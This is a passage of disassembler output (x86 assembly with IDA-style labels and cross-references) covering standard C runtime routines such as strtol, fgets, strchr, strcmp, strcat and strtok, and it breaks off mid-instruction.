loc_41BC06: ; CODE XREF: sub_41BBC1+39j ; sub_41BBC1+40j and [ebp+arg_4], 0 cmp byte ptr [ebx], 0 mov eax, ebx mov esi, 0FFh mov [ebp+arg_0], eax jz short loc_41BC7E loc_41BC19: ; CODE XREF: sub_41BBC1+87j mov cl, [eax] movzx edx, cl test ds:byte_4DF421[edx], 4 jz short loc_41BC2A inc eax jmp short loc_41BC44 ; --------------------------------------------------------------------------- loc_41BC2A: ; CODE XREF: sub_41BBC1+64j cmp cl, 2Fh jz short loc_41BC3E cmp cl, 5Ch jz short loc_41BC3E cmp cl, 2Eh jnz short loc_41BC44 mov [ebp+var_4], eax jmp short loc_41BC44 ; --------------------------------------------------------------------------- loc_41BC3E: ; CODE XREF: sub_41BBC1+6Cj ; sub_41BBC1+71j lea ecx, [eax+1] mov [ebp+arg_4], ecx loc_41BC44: ; CODE XREF: sub_41BBC1+67j ; sub_41BBC1+76j ... inc eax cmp byte ptr [eax], 0 jnz short loc_41BC19 mov edi, [ebp+arg_4] mov [ebp+arg_0], eax test edi, edi jz short loc_41BC7E cmp [ebp+arg_8], 0 jz short loc_41BC79 sub edi, ebx cmp edi, esi jb short loc_41BC62 mov edi, esi loc_41BC62: ; CODE XREF: sub_41BBC1+9Dj push edi push ebx push [ebp+arg_8] call sub_4204A9 mov eax, [ebp+arg_8] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BC79: ; CODE XREF: sub_41BBC1+97j mov ebx, [ebp+arg_4] jmp short loc_41BC88 ; --------------------------------------------------------------------------- loc_41BC7E: ; CODE XREF: sub_41BBC1+56j ; sub_41BBC1+91j mov ecx, [ebp+arg_8] test ecx, ecx jz short loc_41BC88 and byte ptr [ecx], 0 loc_41BC88: ; CODE XREF: sub_41BBC1+BBj ; sub_41BBC1+C2j mov edi, [ebp+var_4] test edi, edi jz short loc_41BCDB cmp edi, ebx jb short loc_41BCDB cmp [ebp+arg_C], 0 jz short loc_41BCB8 sub edi, ebx cmp edi, esi jb short loc_41BCA1 mov edi, esi loc_41BCA1: ; CODE XREF: sub_41BBC1+DCj push edi push ebx push [ebp+arg_C] call sub_4204A9 mov eax, [ebp+arg_C] add esp, 0Ch and byte ptr [edi+eax], 0 mov eax, [ebp+arg_0] loc_41BCB8: ; CODE XREF: sub_41BBC1+D6j mov edi, [ebp+arg_10] test edi, edi jz short loc_41BD03 sub eax, [ebp+var_4] cmp eax, esi jnb short loc_41BCC8 mov esi, eax loc_41BCC8: ; CODE XREF: sub_41BBC1+103j push esi push [ebp+var_4] push edi call sub_4204A9 add esp, 0Ch and byte ptr [esi+edi], 0 jmp short loc_41BD03 ; --------------------------------------------------------------------------- loc_41BCDB: ; CODE XREF: sub_41BBC1+CCj ; sub_41BBC1+D0j mov edi, [ebp+arg_C] test edi, edi jz short loc_41BCF9 sub eax, ebx cmp eax, esi jnb short loc_41BCEA mov esi, eax loc_41BCEA: ; CODE XREF: sub_41BBC1+125j push esi push ebx push edi call sub_4204A9 add esp, 0Ch and byte ptr [esi+edi], 0 loc_41BCF9: ; CODE XREF: sub_41BBC1+11Fj mov eax, [ebp+arg_10] test eax, eax jz short loc_41BD03 and byte ptr [eax], 0 loc_41BD03: ; CODE XREF: sub_41BBC1+FCj ; sub_41BBC1+118j ... pop edi pop esi pop ebx leave retn sub_41BBC1 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41BD10 proc near ; CODE XREF: sub_4019DB+8p ; seg000:00401B52p ... arg_0 = byte ptr 4 push ecx cmp eax, 1000h lea ecx, [esp+4+arg_0] jb short loc_41BD30 loc_41BD1C: ; CODE XREF: sub_41BD10+1Ej sub ecx, 1000h sub eax, 1000h test [ecx], eax cmp eax, 1000h jnb short loc_41BD1C loc_41BD30: ; CODE XREF: sub_41BD10+Aj sub ecx, eax mov eax, esp test [ecx], eax mov esp, ecx mov ecx, [eax] mov eax, [eax+4] push eax retn sub_41BD10 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BD3F proc near ; CODE XREF: seg000:00408F82p ; seg000:00408FAFp ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_4], 0 push ebx mov ebx, [ebp+arg_0] push edi mov edi, ebx jg short loc_41BD53 xor eax, eax jmp short loc_41BD89 ; --------------------------------------------------------------------------- loc_41BD53: ; CODE XREF: sub_41BD3F+Ej dec [ebp+arg_4] push esi jz short loc_41BD83 mov esi, [ebp+arg_8] loc_41BD5C: ; CODE XREF: sub_41BD3F+42j dec dword ptr [esi+4] js short loc_41BD6B mov ecx, [esi] movzx eax, byte ptr [ecx] inc ecx mov [esi], ecx jmp short loc_41BD72 ; --------------------------------------------------------------------------- loc_41BD6B: ; CODE XREF: sub_41BD3F+20j push esi call sub_41F263 pop ecx loc_41BD72: ; CODE XREF: sub_41BD3F+2Aj cmp eax, 0FFFFFFFFh jz short loc_41BD8D mov [edi], al inc edi cmp al, 0Ah jz short loc_41BD83 dec [ebp+arg_4] jnz short loc_41BD5C loc_41BD83: ; CODE XREF: sub_41BD3F+18j ; sub_41BD3F+3Dj ... and byte ptr [edi], 0 loc_41BD86: ; CODE XREF: sub_41BD3F+55j mov eax, ebx pop esi loc_41BD89: ; CODE XREF: sub_41BD3F+12j pop edi pop ebx pop ebp retn ; --------------------------------------------------------------------------- loc_41BD8D: ; CODE XREF: sub_41BD3F+36j cmp edi, [ebp+arg_0] jnz short loc_41BD83 xor ebx, ebx jmp short loc_41BD86 sub_41BD3F endp ; =============== S U B R O U T I N E ======================================= sub_41BD96 proc near ; CODE XREF: seg000:0041DFC5p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 0 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BDAD add esp, 10h retn sub_41BD96 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BDAD proc near ; CODE XREF: sub_41BD96+Ep ; sub_41BFB5+Ep var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 0Ch push ebx and [ebp+var_8], 0 push esi push edi mov edi, [ebp+arg_0] mov bl, [edi] lea esi, [edi+1] mov [ebp+var_4], esi loc_41BDC5: ; CODE XREF: sub_41BDAD+46j cmp ds:dword_43F194, 1 jle short loc_41BDDD movzx eax, bl push 8 push eax call sub_41F735 pop ecx pop ecx jmp short loc_41BDEC ; --------------------------------------------------------------------------- loc_41BDDD: ; CODE XREF: sub_41BDAD+1Fj mov ecx, ds:off_43EF88 movzx eax, bl mov al, [ecx+eax*2] and eax, 8 loc_41BDEC: ; CODE XREF: sub_41BDAD+2Ej test eax, eax jz short loc_41BDF5 mov bl, [esi] inc esi jmp short loc_41BDC5 ; --------------------------------------------------------------------------- loc_41BDF5: ; CODE XREF: sub_41BDAD+41j cmp bl, 2Dh mov [ebp+var_4], esi jnz short loc_41BE03 or [ebp+arg_C], 2 jmp short loc_41BE08 ; --------------------------------------------------------------------------- loc_41BE03: ; CODE XREF: sub_41BDAD+4Ej cmp bl, 2Bh jnz short loc_41BE0E loc_41BE08: ; CODE XREF: sub_41BDAD+54j mov bl, [esi] inc esi mov [ebp+var_4], esi loc_41BE0E: ; CODE XREF: sub_41BDAD+59j mov eax, [ebp+arg_8] test eax, eax jl loc_41BFA5 cmp eax, 1 jz loc_41BFA5 cmp eax, 24h jg loc_41BFA5 push 10h test eax, eax pop ecx jnz short loc_41BE56 cmp bl, 30h jz short loc_41BE40 mov [ebp+arg_8], 0Ah jmp short loc_41BE72 ; --------------------------------------------------------------------------- loc_41BE40: ; CODE XREF: sub_41BDAD+88j mov al, [esi] cmp al, 78h jz short loc_41BE53 cmp al, 58h jz short loc_41BE53 mov [ebp+arg_8], 8 jmp short loc_41BE72 ; --------------------------------------------------------------------------- loc_41BE53: ; CODE XREF: sub_41BDAD+97j ; sub_41BDAD+9Bj mov [ebp+arg_8], ecx loc_41BE56: ; CODE XREF: sub_41BDAD+83j cmp [ebp+arg_8], ecx jnz short loc_41BE72 cmp bl, 30h jnz short loc_41BE72 mov al, [esi] cmp al, 78h jz short loc_41BE6A cmp al, 58h jnz short loc_41BE72 loc_41BE6A: ; CODE XREF: sub_41BDAD+B7j mov bl, [esi+1] inc esi inc esi mov [ebp+var_4], esi loc_41BE72: ; CODE XREF: sub_41BDAD+91j ; sub_41BDAD+A4j ... or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] mov edi, 103h mov [ebp+var_C], eax loc_41BE82: ; CODE XREF: sub_41BDAD+16Cj cmp ds:dword_43F194, 1 movzx esi, bl jle short loc_41BE9A push 4 push esi call sub_41F735 pop ecx pop ecx jmp short loc_41BEA5 ; --------------------------------------------------------------------------- loc_41BE9A: ; CODE XREF: sub_41BDAD+DFj mov eax, ds:off_43EF88 mov al, [eax+esi*2] and eax, 4 loc_41BEA5: ; CODE XREF: sub_41BDAD+EBj test eax, eax jz short loc_41BEB1 movsx ecx, bl sub ecx, 30h jmp short loc_41BEE3 ; --------------------------------------------------------------------------- loc_41BEB1: ; CODE XREF: sub_41BDAD+FAj cmp ds:dword_43F194, 1 jle short loc_41BEC5 push edi push esi call sub_41F735 pop ecx pop ecx jmp short loc_41BED0 ; --------------------------------------------------------------------------- loc_41BEC5: ; CODE XREF: sub_41BDAD+10Bj mov eax, ds:off_43EF88 mov ax, [eax+esi*2] and eax, edi loc_41BED0: ; CODE XREF: sub_41BDAD+116j test eax, eax jz short loc_41BF1E movsx eax, bl push eax call sub_420533 pop ecx mov ecx, eax sub ecx, 37h loc_41BEE3: ; CODE XREF: sub_41BDAD+102j cmp ecx, [ebp+arg_8] jnb short loc_41BF1E mov esi, [ebp+var_8] or [ebp+arg_C], 8 cmp esi, [ebp+var_C] jb short loc_41BF08 jnz short loc_41BF02 or eax, 0FFFFFFFFh xor edx, edx div [ebp+arg_8] cmp ecx, edx jbe short loc_41BF08 loc_41BF02: ; CODE XREF: sub_41BDAD+147j or [ebp+arg_C], 4 jmp short loc_41BF11 ; --------------------------------------------------------------------------- loc_41BF08: ; CODE XREF: sub_41BDAD+145j ; sub_41BDAD+153j imul esi, [ebp+arg_8] add esi, ecx mov [ebp+var_8], esi loc_41BF11: ; CODE XREF: sub_41BDAD+159j mov eax, [ebp+var_4] inc [ebp+var_4] mov bl, [eax] jmp loc_41BE82 ; --------------------------------------------------------------------------- loc_41BF1E: ; CODE XREF: sub_41BDAD+125j ; sub_41BDAD+139j mov ecx, [ebp+arg_C] dec [ebp+var_4] mov edx, [ebp+arg_4] test cl, 8 jnz short loc_41BF3C test edx, edx jz short loc_41BF36 mov eax, [ebp+arg_0] mov [ebp+var_4], eax loc_41BF36: ; CODE XREF: sub_41BDAD+181j and [ebp+var_8], 0 jmp short loc_41BF89 ; --------------------------------------------------------------------------- loc_41BF3C: ; CODE XREF: sub_41BDAD+17Dj test cl, 4 mov eax, 7FFFFFFFh jnz short loc_41BF62 test cl, 1 jnz short loc_41BF89 and ecx, 2 jz short loc_41BF59 cmp [ebp+var_8], 80000000h ja short loc_41BF62 loc_41BF59: ; CODE XREF: sub_41BDAD+1A1j test ecx, ecx jnz short loc_41BF89 cmp [ebp+var_8], eax jbe short loc_41BF89 loc_41BF62: ; CODE XREF: sub_41BDAD+197j ; sub_41BDAD+1AAj test byte ptr [ebp+arg_C], 1 mov ds:dword_4DDEB4, 22h jz short loc_41BF78 or [ebp+var_8], 0FFFFFFFFh jmp short loc_41BF89 ; --------------------------------------------------------------------------- loc_41BF78: ; CODE XREF: sub_41BDAD+1C3j mov ecx, [ebp+arg_C] and cl, 2 neg cl sbb ecx, ecx neg ecx add ecx, eax mov [ebp+var_8], ecx loc_41BF89: ; CODE XREF: sub_41BDAD+18Dj ; sub_41BDAD+19Cj ... test edx, edx jz short loc_41BF92 mov eax, [ebp+var_4] mov [edx], eax loc_41BF92: ; CODE XREF: sub_41BDAD+1DEj test byte ptr [ebp+arg_C], 2 jz short loc_41BFA0 mov eax, [ebp+var_8] neg eax mov [ebp+var_8], eax loc_41BFA0: ; CODE XREF: sub_41BDAD+1E9j mov eax, [ebp+var_8] jmp short loc_41BFB0 ; --------------------------------------------------------------------------- loc_41BFA5: ; CODE XREF: sub_41BDAD+66j ; sub_41BDAD+6Fj ... mov eax, [ebp+arg_4] test eax, eax jz short loc_41BFAE mov [eax], edi loc_41BFAE: ; CODE XREF: sub_41BDAD+1FDj xor eax, eax loc_41BFB0: ; CODE XREF: sub_41BDAD+1F6j pop edi pop esi pop ebx leave retn sub_41BDAD endp ; =============== S U B R O U T I N E ======================================= sub_41BFB5 proc near ; CODE XREF: seg000:00407C37p ; sub_40ED60+497p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push 1 push [esp+4+arg_8] push [esp+8+arg_4] push [esp+0Ch+arg_0] call sub_41BDAD add esp, 10h retn sub_41BFB5 endp ; =============== S U B R O U T I N E ======================================= sub_41BFCC proc near ; CODE XREF: seg000:004073DEp arg_0 = dword ptr 4 push [esp+arg_0] call near ptr 0B10000h lahf test eax, eax jnz short loc_41BFE2 call ds:dword_42808C ; RtlGetLastWin32Error jmp short loc_41BFE4 ; --------------------------------------------------------------------------- loc_41BFE2: ; CODE XREF: sub_41BFCC+Cj xor eax, eax loc_41BFE4: ; CODE XREF: sub_41BFCC+14j test eax, eax jz short loc_41BFF3 push eax call sub_4205FF pop ecx or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_41BFF3: ; CODE XREF: sub_41BFCC+1Aj xor eax, eax retn sub_41BFCC endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41BFF6 proc near ; CODE XREF: seg000:0040734Ap ; sub_411D74+8Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = byte ptr 10h push ebp mov ebp, esp push esi push edi push [ebp+arg_0] call sub_420666 mov esi, eax lea eax, [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_41F8BF push [ebp+arg_0] mov edi, eax push esi call sub_4206F3 add esp, 18h mov eax, edi pop edi pop esi pop ebp retn sub_41BFF6 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C030 proc near ; CODE XREF: seg000:004038F1p ; seg000:00403910p ... arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp push edi mov edi, [ebp+arg_0] xor eax, eax or ecx, 0FFFFFFFFh repne scasb inc ecx neg ecx dec edi mov al, [ebp+arg_4] std repne scasb inc edi cmp [edi], al jz short loc_41C051 xor eax, eax jmp short loc_41C053 ; --------------------------------------------------------------------------- loc_41C051: ; CODE XREF: sub_41C030+1Bj mov eax, edi loc_41C053: ; CODE XREF: sub_41C030+1Fj cld pop edi leave retn sub_41C030 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C060 proc near ; CODE XREF: seg000:0040231Cp ; seg000:0041DF3Dp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] jecxz short loc_41C091 mov ebx, ecx mov edi, [ebp+arg_0] mov esi, edi xor eax, eax repne scasb neg ecx add ecx, ebx mov edi, esi mov esi, [ebp+arg_4] repe cmpsb mov al, [esi-1] xor ecx, ecx cmp al, [edi-1] ja short loc_41C08F jz short loc_41C091 dec ecx dec ecx loc_41C08F: ; CODE XREF: sub_41C060+29j not ecx loc_41C091: ; CODE XREF: sub_41C060+9j ; sub_41C060+2Bj mov eax, ecx pop ebx pop esi pop edi leave retn sub_41C060 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C0A0 proc near ; CODE XREF: seg000:00401F1Dp ; seg000:00404B1Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] jmp short loc_41C111 sub_41C0A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C0B0 proc near ; CODE XREF: seg000:00401F29p ; seg000:00409010p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov ecx, [esp+arg_0] push edi test ecx, 3 jz short loc_41C0CC loc_41C0BD: ; CODE XREF: sub_41C0B0+1Aj mov al, [ecx] inc ecx test al, al jz short loc_41C0FF test ecx, 3 jnz short loc_41C0BD loc_41C0CC: ; CODE XREF: sub_41C0B0+Bj ; sub_41C0B0+32j ... mov eax, [ecx] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add ecx, 4 test eax, 81010100h jz short loc_41C0CC mov eax, [ecx-4] test al, al jz short loc_41C10E test ah, ah jz short loc_41C109 test eax, 0FF0000h jz short loc_41C104 test eax, 0FF000000h jz short loc_41C0FF jmp short loc_41C0CC ; --------------------------------------------------------------------------- loc_41C0FF: ; CODE XREF: sub_41C0B0+12j ; sub_41C0B0+4Bj lea edi, [ecx-1] jmp short loc_41C111 ; --------------------------------------------------------------------------- loc_41C104: ; CODE XREF: sub_41C0B0+44j lea edi, [ecx-2] jmp short loc_41C111 ; --------------------------------------------------------------------------- loc_41C109: ; CODE XREF: sub_41C0B0+3Dj lea edi, [ecx-3] jmp short loc_41C111 ; --------------------------------------------------------------------------- loc_41C10E: ; CODE XREF: sub_41C0B0+39j lea edi, [ecx-4] loc_41C111: ; CODE XREF: sub_41C0A0+5j ; sub_41C0B0+52j ... mov ecx, [esp+4+arg_4] test ecx, 3 jz short loc_41C136 loc_41C11D: ; CODE XREF: sub_41C0B0+7Dj mov dl, [ecx] inc ecx test dl, dl jz short loc_41C188 mov [edi], dl inc edi test ecx, 3 jnz short loc_41C11D jmp short loc_41C136 ; --------------------------------------------------------------------------- loc_41C131: ; CODE XREF: sub_41C0B0+9Ej ; sub_41C0B0+B8j mov [edi], edx add edi, 4 loc_41C136: ; CODE XREF: sub_41C0B0+6Bj ; sub_41C0B0+7Fj mov edx, 7EFEFEFFh mov eax, [ecx] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [ecx] add ecx, 4 test eax, 81010100h jz short loc_41C131 test dl, dl jz short loc_41C188 test dh, dh jz short loc_41C17F test edx, 0FF0000h jz short loc_41C172 test edx, 0FF000000h jz short loc_41C16A jmp short loc_41C131 ; --------------------------------------------------------------------------- loc_41C16A: ; CODE XREF: sub_41C0B0+B6j mov [edi], edx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C172: ; CODE XREF: sub_41C0B0+AEj mov [edi], dx mov eax, [esp+4+arg_0] mov byte ptr [edi+2], 0 pop edi retn ; --------------------------------------------------------------------------- loc_41C17F: ; CODE XREF: sub_41C0B0+A6j mov [edi], dx mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C188: ; CODE XREF: sub_41C0B0+72j ; sub_41C0B0+A2j mov [edi], dl mov eax, [esp+4+arg_0] pop edi retn sub_41C0B0 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_41C1A0 loc_41C190: ; CODE XREF: sub_41C1A0+1Dj lea eax, [edx-1] pop ebx retn ; END OF FUNCTION CHUNK FOR sub_41C1A0 ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C1A0 proc near ; CODE XREF: seg000:00401F07p ; seg000:00401F93p ... arg_0 = dword ptr 4 arg_4 = byte ptr 8 ; FUNCTION CHUNK AT 0041C190 SIZE 00000005 BYTES xor eax, eax mov al, [esp+arg_4] loc_41C1A6: ; CODE XREF: sub_41BAF0+6Ej push ebx mov ebx, eax shl eax, 8 mov edx, [esp+4+arg_0] test edx, 3 jz short loc_41C1CB loc_41C1B8: ; CODE XREF: sub_41C1A0+29j mov cl, [edx] inc edx cmp cl, bl jz short loc_41C190 test cl, cl jz short loc_41C214 test edx, 3 jnz short loc_41C1B8 loc_41C1CB: ; CODE XREF: sub_41C1A0+16j or ebx, eax push edi mov eax, ebx shl ebx, 10h push esi or ebx, eax loc_41C1D6: ; CODE XREF: sub_41C1A0+61j ; sub_41C1A0+70j ... mov ecx, [edx] mov edi, 7EFEFEFFh mov eax, ecx mov esi, edi xor ecx, ebx add esi, eax add edi, ecx xor ecx, 0FFFFFFFFh xor eax, 0FFFFFFFFh xor ecx, edi xor eax, esi add edx, 4 and ecx, 81010100h jnz short loc_41C218 and eax, 81010100h jz short loc_41C1D6 and eax, 1010100h jnz short loc_41C212 and esi, 80000000h jnz short loc_41C1D6 loc_41C212: ; CODE XREF: sub_41C1A0+68j ; sub_41C1A0+81j ... pop esi pop edi loc_41C214: ; CODE XREF: sub_41C1A0+21j pop ebx xor eax, eax retn ; --------------------------------------------------------------------------- loc_41C218: ; CODE XREF: sub_41C1A0+5Aj mov eax, [edx-4] cmp al, bl jz short loc_41C255 test al, al jz short loc_41C212 cmp ah, bl jz short loc_41C24E test ah, ah jz short loc_41C212 shr eax, 10h cmp al, bl jz short loc_41C247 test al, al jz short loc_41C212 cmp ah, bl jz short loc_41C240 test ah, ah jz short loc_41C212 jmp short loc_41C1D6 ; --------------------------------------------------------------------------- loc_41C240: ; CODE XREF: sub_41C1A0+98j pop esi pop edi lea eax, [edx-1] pop ebx retn ; --------------------------------------------------------------------------- loc_41C247: ; CODE XREF: sub_41C1A0+90j lea eax, [edx-2] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C24E: ; CODE XREF: sub_41C1A0+85j lea eax, [edx-3] pop esi pop edi pop ebx retn ; --------------------------------------------------------------------------- loc_41C255: ; CODE XREF: sub_41C1A0+7Dj lea eax, [edx-4] pop esi pop edi pop ebx retn sub_41C1A0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_41C260 proc near ; CODE XREF: seg000:00401CEAp ; seg000:00401D41p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov edx, [esp+arg_0] mov ecx, [esp+arg_4] test edx, 3 jnz short loc_41C2AC loc_41C270: ; CODE XREF: sub_41C260+3Cj ; sub_41C260+66j ... mov eax, [edx] cmp al, [ecx] jnz short loc_41C2A4 or al, al jz short loc_41C2A0 cmp ah, [ecx+1] jnz short loc_41C2A4 or ah, ah jz short loc_41C2A0 shr eax, 10h cmp al, [ecx+2] jnz short loc_41C2A4 or al, al jz short loc_41C2A0 cmp ah, [ecx+3] jnz short loc_41C2A4 add ecx, 4 add edx, 4 or ah, ah jnz short loc_41C270 mov edi, edi loc_41C2A0: ; CODE XREF: sub_41C260+18j ; sub_41C260+21j ... xor eax, eax retn ; --------------------------------------------------------------------------- align 4 loc_41C2A4: ; CODE XREF: sub_41C260+14j ; sub_41C260+1Dj ... sbb eax, eax shl eax, 1 inc eax retn ; --------------------------------------------------------------------------- align 4 loc_41C2AC: ; CODE XREF: sub_41C260+Ej test edx, 1 jz short loc_41C2C8 mov al, [edx] inc edx cmp al, [ecx] jnz short loc_41C2A4 inc ecx or al, al jz short loc_41C2A0 test edx, 2 jz short loc_41C270 loc_41C2C8: ; CODE XREF: sub_41C260+52j mov ax, [edx] add edx, 2 cmp al, [ecx] jnz short loc_41C2A4 or al, al jz short loc_41C2A0 cmp ah, [ecx+1] jnz short loc_41C2A4 or ah, ah jz short loc_41C2A0 add ecx, 2 jmp short loc_41C270 sub_41C260 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C2E4 proc near ; CODE XREF: seg000:00401BFFp ; seg000:00401C12p ... var_20 = byte ptr -20h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 20h push ebx push esi mov esi, [ebp+arg_4] push edi push 8 xor eax, eax pop ecx lea edi, [ebp+var_20] rep stosd push 7 pop edi loc_41C2FD: ; CODE XREF: sub_41C2E4+32j mov dl, [esi] mov bl, 1 movzx ecx, dl mov eax, ecx and ecx, edi shr eax, 3 shl bl, cl lea eax, [ebp+eax+var_20] or [eax], bl inc esi test dl, dl jnz short loc_41C2FD mov edx, [ebp+arg_0] test edx, edx jnz short loc_41C325 mov edx, ds:dword_4DDF00 loc_41C325: ; CODE XREF: sub_41C2E4+39j ; sub_41C2E4+5Fj mov al, [edx] push 1 movzx esi, al mov ecx, esi pop ebx and ecx, edi shl ebx, cl shr esi, 3 mov cl, [ebp+esi+var_20] test bl, cl jz short loc_41C345 test al, al jz short loc_41C345 inc edx jmp short loc_41C325 ; --------------------------------------------------------------------------- loc_41C345: ; CODE XREF: sub_41C2E4+58j ; sub_41C2E4+5Cj mov ebx, edx loc_41C347: ; CODE XREF: sub_41C2E4+81j mov al, [edx] test al, al jz short loc_41C36B movzx esi, al mov ecx, esi push 1 and ecx, edi pop eax shl eax, cl shr esi, 3 mov cl, [ebp+esi+var_20] test al, cl jnz short loc_41C367 inc edx jmp short loc_41C347 ; --------------------------------------------------------------------------- loc_41C367: ; CODE XREF: sub_41C2E4+7Ej and byte ptr [edx], 0 inc edx loc_41C36B: ; CODE XREF: sub_41C2E4+67j mov eax, ebx pop edi sub eax, edx pop esi neg eax sbb eax, eax mov ds:dword_4DDF00, edx and eax, ebx pop ebx leave retn sub_41C2E4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41C380 proc near ; CODE XREF: sub_409920+1Cp ; sub_415322+19p var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 20h mov eax, [ebp+arg_0] push esi push [ebp+arg_C] mov [ebp+var_18], eax mov [ebp+var_20], eax mov eax, [ebp+arg_4] push [ebp+arg_8] mov [ebp+var_1C], eax lea eax, [ebp+var_20] mov [ebp+var_14], 42h push eax call sub_41F8BF add esp, 0Ch dec [ebp+var_1C] mov esi, eax js short loc_41C3BE mov eax, [ebp+var_20] and byte ptr [eax], 0 jmp short loc_41C3CB ; --------------------------------------------------------------------------- loc_41C3BE: ; CODE XREF: sub_41C380+34j lea eax, [ebp+var_20] push eax push 0 call sub_41F7AA pop ecx pop ecx loc_41C3CB: ; CODE XREF: sub_41C380+3Cj mov eax, esi pop esi leave retn sub_41C380 endp ; =============== S U B R O U T I N E ======================================= sub_41C3D0 proc near ; CODE XREF: sub_40AEA6+46p ; sub_40B4AD+60p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch mov ecx, [esp+arg_8] push edi test ecx, ecx jz loc_41C484 mov edi, [esp+4+arg_0] push esi test edi, 3 push ebx jz short loc_41C3FA loc_41C3EB: ; CODE XREF: sub_41C3D0+28j mov al, [edi] inc edi test al, al jz short loc_41C42B test edi, 3 jnz short loc_41C3EB loc_41C3FA: ; CODE XREF: sub_41C3D0+19j ; sub_41C3D0+40j ... mov eax, [edi] mov edx, 7EFEFEFFh add edx, eax xor eax, 0FFFFFFFFh xor eax, edx add edi, 4 test eax, 81010100h jz short loc_41C3FA mov eax, [edi-4] test al, al jz short loc_41C438 test ah, ah jz short loc_41C433 test eax, 0FF0000h jz short loc_41C42E test eax, 0FF000000h jnz short loc_41C3FA loc_41C42B: ; CODE XREF: sub_41C3D0+20j dec edi jmp short loc_41C43B ; --------------------------------------------------------------------------- loc_41C42E: ; CODE XREF: sub_41C3D0+52j sub edi, 2 jmp short loc_41C43B ; --------------------------------------------------------------------------- loc_41C433: ; CODE XREF: sub_41C3D0+4Bj sub edi, 3 jmp short loc_41C43B ; --------------------------------------------------------------------------- loc_41C438: ; CODE XREF: sub_41C3D0+47j sub edi, 4 loc_41C43B: ; CODE XREF: sub_41C3D0+5Cj ; sub_41C3D0+61j ... mov esi, [esp+0Ch+arg_4] test esi, 3 jnz short loc_41C450 mov ebx, ecx shr ecx, 2 jnz short loc_41C49C jmp short loc_41C46C ; --------------------------------------------------------------------------- loc_41C450: ; CODE XREF: sub_41C3D0+75j ; sub_41C3D0+93j mov dl, [esi] inc esi test dl, dl jz short loc_41C48A mov [edi], dl inc edi dec ecx jz short loc_41C480 test esi, 3 jnz short loc_41C450 mov ebx, ecx shr ecx, 2 jnz short loc_41C49C loc_41C46C: ; CODE XREF: sub_41C3D0+7Ej ; sub_41C3D0+CAj mov ecx, ebx and ecx, 3 jz short loc_41C480 loc_41C473: ; CODE XREF: sub_41C3D0+AEj mov dl, [esi] inc esi mov [edi], dl inc edi test dl, dl jz short loc_41C482 dec ecx jnz short loc_41C473 loc_41C480: ; CODE XREF: sub_41C3D0+8Bj ; sub_41C3D0+A1j mov [edi], cl loc_41C482: ; CODE XREF: sub_41C3D0+ABj pop ebx pop esi loc_41C484: ; CODE XREF: sub_41C3D0+7j mov eax, [esp+4+arg_0] pop edi retn ; --------------------------------------------------------------------------- loc_41C48A: ; CODE XREF: sub_41C3D0+85j ; sub_41C3D0+E8j mov [edi], dl mov eax, [esp+0Ch+arg_0] pop ebx pop esi pop edi retn ; --------------------------------------------------------------------------- loc_41C494: ; CODE XREF: sub_41C3D0+E4j ; sub_41C3D0+FCj mov [edi], edx add edi, 4 dec ecx jz short loc_41C46C loc_41C49C: ; CODE XREF: sub_41C3D0+7Cj ; sub_41C3D0+9Aj mov edx, 7EFEFEFFh mov eax, [esi] add edx, eax xor eax, 0FFFFFFFFh xor eax, edx mov edx, [esi] add esi, 4 test eax, 81010100h jz short loc_41C494 test dl, dl jz short loc_41C48A test 